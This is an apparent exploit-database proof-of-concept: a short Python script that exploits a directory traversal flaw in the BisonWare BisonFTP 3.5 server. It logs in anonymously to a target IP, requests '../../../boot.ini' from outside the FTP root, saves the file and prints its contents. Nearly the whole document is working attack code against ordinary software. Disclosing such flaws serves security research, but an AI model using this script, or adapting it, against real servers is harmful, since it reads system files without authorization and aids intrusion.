BisonWare BisonFTP 3.5 Directory Traversal

`#!/usr/bin/python  
# title: BisonWare BisonFTP server product V3.5 Directory Traversal Vulnerability  
# author: Jay Turla <@shipcod3>  
# tested on Windows XP Service Pack 3 - English  
# software link: https://www.exploit-db.com/apps/081331edfc143738a60e029192b5986e-BisonFTPServer.rar  
# description: BisonWare BisonFTP server product V3.5 is vulnerable to Directory Traversal (quick and dirty code just for PoC)   
  
from ftplib import FTP  
  
ftp = FTP(raw_input("Target IP: "))   
ftp.login()   
ftp.retrbinary('RETR ../../../boot.ini', open('boot.ini.txt', 'wb').write)  
ftp.close()  
file = open('boot.ini.txt', 'r')  
print "[**] Printing what's inside boot.ini\n"  
print "@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"  
print file.read()  
print "@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"  
`